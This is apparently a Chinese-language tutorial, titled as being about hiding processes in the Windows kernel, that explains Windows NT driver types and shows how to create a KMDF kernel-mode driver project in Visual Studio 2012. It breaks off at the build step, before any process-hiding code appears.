用Visual studio2012在Windows8上开发内核中隐藏进程
最后更新于:2022-04-01 10:27:57
在Windows NT中,80386保护模式的“保护”比Windows 95中更坚固,这个“镀金的笼子”更加结实,更加难以打破。在Windows 95中,至少应用程序I/O操作是不受限制的,而在Windows NT中,我们的应用程序连这点权限都被剥夺了。在NT中几乎不太可能进入真正的ring0层。
在Windows NT中,存在三种Device Driver:
1.“Virtual device Driver” (VDD)。通过VDD,16位应用程序,如DOS 和Win16应用程序可以访问特定的I/O端口(注意,不是直接访问,而是要通过VDD来实现访问)。
2.“GDI Driver”,提供显示和打印所需的GDI函数。
3.“Kernel Mode Driver”,实现对特定硬件的操作,比如说CreateFile, CloseHandle (对于文件对象而言), ReadFile, WriteFile, DeviceIoControl 等操作。“Kernel Mode Driver”还是Windows NT中唯一可以对硬件中断和DMA进行操作的Driver。SCSI 小端口驱动和 网卡NDIS 驱动都是Kernel Mode Driver的一种特殊形式。
Visual studio2012与Windows8带来格外不同的新体验
1.启动Vs2012
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf15192479.png)
2.看见满目的驱动开发模板
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf151a72a9.png)
3.选择一个驱动模式,有内核模式与用户模式两种的驱动
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf151e0f15.png)
4.创建一个驱动程序,KMDF DriverMVP
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf152053f8.png)
5.我们选择的是内核模式的驱动程序,下面是创建成功后的界面,分别是驱动程序本身,与驱动安装包
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf15221ca7.png)
6.按下F5,选择驱动编译,
